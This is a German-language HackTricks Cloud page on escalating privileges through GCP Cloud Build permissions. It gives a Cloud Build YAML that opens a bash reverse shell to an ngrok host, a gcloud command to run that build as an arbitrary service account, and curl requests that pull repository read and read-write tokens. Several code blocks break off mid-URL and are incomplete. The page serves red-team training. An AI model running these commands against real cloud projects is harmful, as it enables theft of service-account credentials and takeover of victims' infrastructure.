GCP - Cloudbuild Privesc
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
cloudbuild
Für weitere Informationen über Cloud Build siehe:
cloudbuild.builds.create, iam.serviceAccounts.actAs
Mit dieser Berechtigung kannst du einen cloud build einreichen. Die cloudbuild-Maschine wird standardmäßig ein Token des cloudbuild Service Account in ihrem Dateisystem haben: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Du kannst jedoch in der Cloud Build-Konfiguration jedes Service Account innerhalb des Projekts angeben.
Daher kannst du die Maschine das Token an deinen Server exfiltrieren lassen oder eine reverse shell darin erhalten und dir das Token besorgen (die Datei, die das Token enthält, kann sich ändern).
Direct exploitation via gcloud CLI
1- Erstelle cloudbuild.yaml und passe sie mit deinen Listener-Daten an
Cloud Build YAML-Konfiguration für reverse shell
```yaml steps: - name: bash script: | #!/usr/bin/env bash bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14965 0>&1 options: logging: CLOUD_LOGGING_ONLY ```2- Lade einen einfachen Build ohne Quellcode hoch, die YAML-Datei und gib das Servicekonto (SA) an, das beim Build verwendet werden soll:
Cloud Build mit angegebenem Servicekonto einreichen
```bash gcloud builds submit --no-source --config="./cloudbuild.yaml" --service-account="projects/Verwendung der python gcloud library
Das originale exploit script findest du hier auf GitHub (aber der Ort, von dem es das token nimmt, hat bei mir nicht funktioniert). Schau dir deshalb ein Script an, um die creation, exploit and cleaning of a vuln environment here zu automatisieren, und ein python-Skript, um eine reverse shell innerhalb der cloudbuild-Maschine zu bekommen und steal it here (im Code findest du, wie man andere service accounts angibt).
Für eine ausführlichere Erklärung besuche https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/
cloudbuild.repositories.accessReadToken
Mit dieser Berechtigung kann der Benutzer den read access token erhalten, der zum Zugriff auf das Repository verwendet wird:
Read access token für das Repository abrufen
```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects/cloudbuild.repositories.accessReadWriteToken
Mit dieser Berechtigung kann ein Benutzer das Lese- und Schreibzugriffs-Token abrufen, das zum Zugriff auf das Repository verwendet wird:
Lese- und Schreibzugriffs-Token für das Repository abrufen
```bash curl -X POST \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ -H "Content-Type: application/json" \ -d '{}' \ "https://cloudbuild.googleapis.com/v2/projects/cloudbuild.connections.fetchLinkableRepositories
Mit dieser Berechtigung kannst du die Repositories abrufen, auf die die Connection Zugriff hat:
Linkbare Repositories abrufen
```bash curl -X GET \ -H "Authorization: Bearer $(gcloud auth print-access-token)" \ "https://cloudbuild.googleapis.com/v2/projects/Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud

